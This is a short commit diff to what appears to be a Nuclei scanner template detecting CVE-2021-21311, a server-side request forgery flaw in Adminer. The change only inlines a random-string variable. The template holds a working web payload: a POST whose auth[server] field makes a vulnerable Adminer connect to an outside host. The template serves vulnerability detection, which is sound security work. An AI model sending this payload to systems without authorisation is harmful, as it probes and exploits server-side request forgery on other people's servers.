Update CVE-2021-21311.yaml

cves/2021/CVE-2021-21311.yaml

@@ -22,9 +22,6 @@ info:
     fofa-query: app="Adminer" && body="4.7.8"
   tags: cve,cve2021,adminer,ssrf
 
-variables:
-  randstring: "{{to_lower(rand_base(8))}}"
-
 requests:
   - raw:
     - |
@@ -32,7 +29,7 @@ requests:
         Host: {{Hostname}}
         Content-Type: application/x-www-form-urlencoded
 
-        auth[driver]=elastic&auth[server]=example.org&auth[username]={{randstring}}&auth[password]={{randstring}}&auth[db]={{randstring}}
+        auth[driver]=elastic&auth[server]=example.org&auth[username]={{to_lower(rand_base(8))}}&auth[password]={{to_lower(rand_base(8))}}&auth[db]={{to_lower(rand_base(8))}}
     redirects: true
     max-redirects: 1
     cookie-reuse: true